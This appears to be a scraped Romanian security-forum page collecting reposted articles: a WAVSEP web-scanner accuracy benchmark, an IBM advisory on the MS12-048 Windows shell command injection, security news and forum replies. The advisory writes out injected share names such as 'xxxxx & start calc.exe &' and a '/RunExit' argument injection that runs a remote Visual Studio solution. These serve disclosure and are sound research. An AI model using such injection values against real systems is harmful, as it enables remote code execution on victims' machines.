again, now that were done with the quantity, let's get to the quality… 7. Introduction to the Various Accuracy Assessments The following sections presents the results of the detection accuracy assessments performed for Reflected XSS, SQL Injection, Path Traversal and Remote File Inclusion (RXSS via RFI) - four of the most commonly supported features in web application scanners. Although the detection accuracy of a specific exposure might not reflect the overall condition of the scanner on its own, it is a crucial indicator for how good a scanner is at detecting specific vulnerability instances. The various assessments were performed against the various test cases of WAVSEP v1.2, which emulate different common test case scenarios for generic technologies. Reasoning: a scanner that is not accurate enough will miss many exposures, and might classify non-vulnerable entry points as vulnerable. These tests aim to assess how good is each tool at detecting the vulnerabilities it claims to support, in a supported input vector, which is located in a known entry point, without any restrictions that can prevent the tool from operating properly. 8. Test III – The Detection Accuracy of Reflected XSS The third assessment criterion was the detection accuracy of Reflected Cross Site Scripting, a common exposure which is the 2nd most commonly implemented feature in web application scanners, and the one in which I noticed the greatest improvement in the various tested web application scanners. The comparison of the scanners' reflected cross site scripting detection accuracy is documented in detail in the following section of sectoolmarket: Reflected Cross Site Scripting Detection Accuracy - Summary Result Chart Glossary Note that the GREEN bar represents the vulnerable test case detection accuracy, while the RED bar represents false positive categories detected by the tool (which may result in more instances then what the bar actually presents, when compared to the detection accuracy bar). The Reflected XSS Detection Accuracy of Web Application Scanners – Commercial Tools The Reflected XSS Detection Accuracy of Web Application Scanners – Open Source & Free Tools The Reflected XSS Detection Accuracy of Web Application Scanners – Unified List 9. Test IV – The Detection Accuracy of SQL Injection The fourth assessment criterion was the detection accuracy of SQL Injection, one of the most famous exposures and the most commonly implemented attack vector in web application scanners. The evaluation was performed on an application that uses MySQL 5.5.x as its data repository, and thus, will reflect the detection accuracy of the tool when scanning an application that uses similar data repositories. The comparison of the scanners' SQL injection detection accuracy is documented in detail in the following section of sectoolmarket: SQL Injection Detection Accuracy - Summary Result Chart Glossary Note that the GREEN bar represents the vulnerable test case detection accuracy, while the RED bar represents false positive categories detected by the tool (which may result in more instances then what the bar actually presents, when compared to the detection accuracy bar). The SQL Injection Detection Accuracy of Web Application Scanners – Commercial Tools The SQL Injection Detection Accuracy of Web Application Scanners – Open Source & Free Tools The SQL Injection Detection Accuracy of Web Application Scanners – Unified List Although there are many changes in the results since the last benchmark, both of these exposures (SQLi, RXSS) were previously assessed, so, I believe it's time to introduce something new... something none of the tested vendors could have prepared for in advance... 10. Test V – The Detection Accuracy of Path Traversal/LFI The fifth assessment criterion was the detection accuracy of Path Traversal (a.k.a Directory Traversal), a newly implemented feature in WAVSEP v1.2, and the third most commonly implemented attack vector in web application scanners. The reason it was tagged along with Local File Inclusion (LFI) is simple - many scanners don't make the differentiation between inclusion and traversal, and furthermore, a few online vulnerability documentation sources don't. In addition, the results obtained from the tests performed on the vast majority of tools lead to the same conclusion - many plugins listed under the name LFI detected the path traversal plugins. While implementing the path traversal test cases and consuming nearly every relevant piece of documentation I could find on the subject, I decided to take the current path, in spite of some acute differences some of the documentation sources suggested (but did implemented an infrastructure in WAVSEP for "true" inclusion exposures). The point is not to get into a discussion of whether or not path traversal, directory traversal and local file inclusion should be classified as the same vulnerability, but simply to explain why in spite of the differences some organizations / classification methods have for these exposures, they were listed under the same name (In sectoolmarket - path traversal detection accuracy is listed under the title LFI). The evaluation was performed on a WAVSEP v1.2 instance that was hosted on windows XP, and although there are specific test cases meant to emulate servers that are running with a low privileged OS user accounts (using the servlet context file access method), many of the test cases emulate web servers that are running with administrative user accounts. [Note - in addition to the wavsep installation, to produce identical results to those of this benchmark, a file by the name of content.ini must be placed in the root installation directory of the tomcat server- which is different than the root directory of the web server] Although I didn't perform the path traversal scans on Linux for all the tools, I did perform the initial experiments on Linux, and even a couple of verifications on Linux for some of the scanners, and as weird as it sounds, I can clearly state that the results were significantly worse, and although I won't get the opportunity to discuss the subject in this benchmark, I might handle it in the next. In order to assess the detection accuracy of different path traversal instances, I designed a total of 816 OS-adapting path traversal test cases (meaning - the test cases adapt themselves to the OS they are executed in, and to the server they are executed in, in the aspects of file access delimiters and file access paths). I know it might seem a lot, and I guess I did got carried away with the perfectionism, but you will be surprised too see that these tests really represent common vulnerability instances, and not necessarily super extreme scenarios, and that results of the tests did prove the necessity. The tests were deigned to emulate various combination of the following conditions and restrictions: If you will take a closer look at the detailed scan-specific results at www.sectoolmarket.com, you'll notice that some scanners were completely unaffected by the response content type and HTTP code variation, while other scanners were dramatically affected by the variety (gee, it's nice to know that I didn't write them all for nothing... ). In reality, there were supposed to more test cases, primarily because I intended to test injection entry points in which the input only affected the filename without the extension, or was injected directly into the directory name. However, due to the sheer amount of tests and the deadline I had for this benchmark, I decided to delete (literally) the test cases that handled these anomalies, and focus on test cases in which the entire filename/path was affected. That being said, I might publish these test cases in future versions of wavsep (they amount to a couple of hundreds). The comparison of the scanners' path traversal detection accuracy is documented in detail in the following section of sectoolmarket: Path Traversal / Local File Inclusion Detection Accuracy - Summary Result Chart Glossary Note that the GREEN bar represents the vulnerable test case detection accuracy, while the RED bar represents false positive categories detected by the tool (which may result in more instances then what the bar actually presents, when compared to the detection accuracy bar). The Path Traversal / LFI Detection Accuracy of Web Application Scanners – Commercial Tools .............................................. Posted by Shay-Chen at 9:24 AM ARTICOL COMPLET: http://sectooladdict.blogspot.co.uk/

[h=3]Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)[/h] CVE-2012-0175 [h=3]Background[/h] Windows File Association allows an application to define a handler that should be called for each operation on a specific file type. For example, WinRAR registers the file type .RAR in the following manner: The Open action defined for this file type dictates how the handler should be called upon opening the file. The command that will be executed for this example of WinRAR is: "C:\Program Files\WinRAR\WinRAR.exe" "%1" (Where the %1 is replaced with the filename that the client clicked on) Theoretically if an attacker was able to create a file called Stu"ff.rar He will be able to break the command string. Of course creating such a file under Windows seems to be impossible Linux operating systems unlike Windows, do not limit the use of these special characters as part of a file's name. Meaning an attacker can create a file called stu"ff.rar In order to actually test this theory, the Windows operating system must have some sort of access to the file currently placed on another machine. Most applications will fail horribly when trying to copy this file over to the Windows machine and the few that won't, just replace the quotes ( " ) with an underscore ( _ ). The next possibility to access this file, is through NetBIOS shares, so I've installed a SAMBA server on my Linux machine, created some default shares and copied my malicious looking file in there. Figure 1 - Linux view of the file Figure 2 - Windows view of the file Apparently Windows changes the display name for these files. It does the same with folder names. [h=4]Vulnerability:[/h] The one place missing this protection is the Share Name itself. By editing the SAMBA configuration in the following way it is possible to create shares that include the forbidden special characters in their name. Figure 3 - Editing the SAMBA configurations Figure 4 - Viewing the shares under Windows When executing a RAR file from the regular share2 folder, all works well. However when double-clicking a RAR in the second share WinRAR cannot seem to find the requested file Viewing the created WinRAR.exe process in Process Explorer reveals the injection has worked. [h=4]Example attack scenario #1:[/h] The following attack scenario will allow the attacker to create a malicious Share that targets the "CMD Prompt Here" behavior. The way that "CMD Prompt Here" works is by launching the following command "cmd.exe" /k cd %1 An attacker is able to create a new share named: xxxxx & start calc.exe & When a victim uses the "CMD Prompt Here" context menu against any folder under the share root, the executed command will be: "cmd.exe" /k cd \\10.0.0.1\xxxxx & start calc.exe &\AnyOtherFolder When CMD will start it will also execute calc.exe [h=4]Example attack scenario #2:[/h] The following attack scenario will allow the attacker to create a link to a visual studio solution (.SLN) file that once opened will automatically compile and execute itself. By creating three SMB shares named: 1. Test Injection "/RunExit \\9.148.197.235\share2 2. Test Injection " 3. share2 And the following folder tree under the mapped folder (/home/share2 in the case of this example) Notice that the content of the ArgumentInjection folder is not shown. It contains all the visual studio solution files and should not be changed. The result of these configurations should look as such: By entering the first (long) folder and opening the SLN file with the devenv.exe handler, the following command should be executed: The devenv.exe handler receives four parameters: The first part of the path - "\\9.148.197.235\Test Injection " The injected parameter - /RunExit The injected path to be used - \\9.148.197.235\share2\ArgumentInjection.sln The remaining part of the original path - .sln" The first and last parameters are being ignored while the two middle parameters causes visual studio to compile and execute the desired solution. [h=4]Impact:[/h] By using this technique, an attacker is able to inject custom arguments into every application that registered a file-type handler using the described method. [h=4]Remediation:[/h] Microsoft has issued the following patch to address this issue MS12-048 - Microsoft Security Bulletin MS12-048 - Important : Vulnerability in Windows Shell Could Allow Remote Code Execution (2691442) Discovered by - Adi Cohen, IBM Application Security Research Sursa: IBM Application Security Insider: Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175)

Vezi ca mai sunt vreo 5 topircuri, citeste-le, sunt multe informatii utile pe acolo.

Bun, cine esti tu?

A? Deci cine, ce, cum si de ce?

Cica "Internetul ascuns"... Articol literar, mamei o sa ii placa... Krisler12™ Exista Intraneturi (de exemplu), daca firma mea produce filme porno, le tin intr-o retea locala (vorba vine, e doar o idee), si le ofer celor care platesc, asa e si cu Amazon, acele carti nu sunt publice, le poti avea daca le cumperi.

Astia-s nebuni

[h=1]DARPA to Hackers: Help, Please?[/h]November 8, 2011, 3:20PM by Brian Donohue The Pentagon’s Defense Advanced Research Projects Agency (DARPA), which is credited with helping to create the modern Internet, used a conference to call on hackers and other visionaries to help save it. DARPA’s Director, Dr. Regina Dugan used a speech at the DARPA Colloquium on Future Directions in Cyber Security in Arlington, Virginia, to call on “visionary hackers, academics, and professionals… to change the dynamic of cyber defense.” Dugan said the wave of malicious cyber attacks represent an existential threat to the Internet and have real world ramifications on civilian and military systems. "Why, despite investing billions of dollars in security, does it feel like we are losing ground?" Dugan asked the audience of beltway and government security experts. The answer, she and others said, is that the government and military are not engaged directly with the threats facing them. The conference was billed as a frank discussion with the cyber community. It brought together roughly 700 leaders from the armed services, as well as the private sector contractors and hackers for hire. Dugan and other Pentagon and government officials and industry leaders, including former White House Cybersecurity Czar Richard Clarke attempted to define and redefine the threats facing government and military networks. In speeches that were equal parts public relations and team building that cyber defense and offense were top priorities for DARPA and that Congress, rather than DARPA, would eventually govern and oversee the use of any cyber capabilities discovered in the course of their research. Sursa: DARPA to Hackers: Help, Please? | threatpost Nu e recent, dar merita citit.

Invata C si C++, singura limitare a Python-ului este interpretorul si librariile sale. Pascal nu prea se mai foloseste, doar versiunea sa, Delphi, insa cred ca nu foarte mult. Sfatul meu e sa stapanesti bine conceptele de OOP din C++, iar apoi sa inveti Python.

[h=1]Nvidia confirms hackers swiped up to 400,000 user accounts[/h]Summary: Nvidia today warned users that its developer forums had been hacked and up to 400,000 user accounts had been compromised. As a precautionary measure, the company has taken down five of its websites. By Emil Protalinski for Zero Day | July 14, 2012 Earlier today, Nvidia announced its developer forums were hacked this week and that the following user information was compromised by unauthorized third parties: usernames, e-mail addresses, hashed passwords with random salt value, and public-facing "About Me" profile information. The semiconductor maker has now confirmed that up to 400,000 of its user accounts were swiped by the hackers. As a result, Nvidia has suspended five of its websites as it investigates the matter. A spokesperson told CBS News that despite the passwords in question were "scrambled using an encryption algorithm." The accounts in question belonged to users of the Nvidia Forum, Developer Zone, and Research Site. The company has suspended all three, and to be on the safe side, its Nvidia Board Store, through which users can buy company products, and the Nvidia Gear Store, where the company sells company merchandise. Nvidia said it has contacted affected users. I will update you if I hear more about the company's findings in regards to the attack. The Nvidia hack is a part of a slew of attacks in the last few months. Here's a quick list, in no particular order: LinkedIn, eHarmony, Last.fm, Yahoo, Android Forums, Billabong, and Formspring. The total number of users affected is around 10 million, so far. If you have an account with any of these sites, you should change your password, just to be on the safe side. Furthermore, if you use the same e-mail address and password combination elsewhere, you should change it there as well. Sursa: Nvidia confirms hackers swiped up to 400,000 user accounts | ZDNet

Bitdefender Safebox Bitdefender Safebox™ is the safest way to backup, sync and share your important docs, movies, e-books, and photos in the cloud. Keep your favorite e-books, videos, and pictures safely encrypted in the cloud. Cross-platform on PCs, Android mobile phones, iPhones and iPads. Share your files with family, friends, and colleagues with just one click. Edit important documents without worries, as Safebox automatically backs them up the moment they are changed. And that's not all Backup and synchronize all your devices from a single account. Access your files from any Internet-connected device. Download now and enjoy 2GB of free cloud storage. Download: http://download.bitdefender.com/safebox/windows/installer/en/bitdefender_safebox.exe Sursa: Free Online Backup, Recovery and Sync for Files - Bitdefender Safebox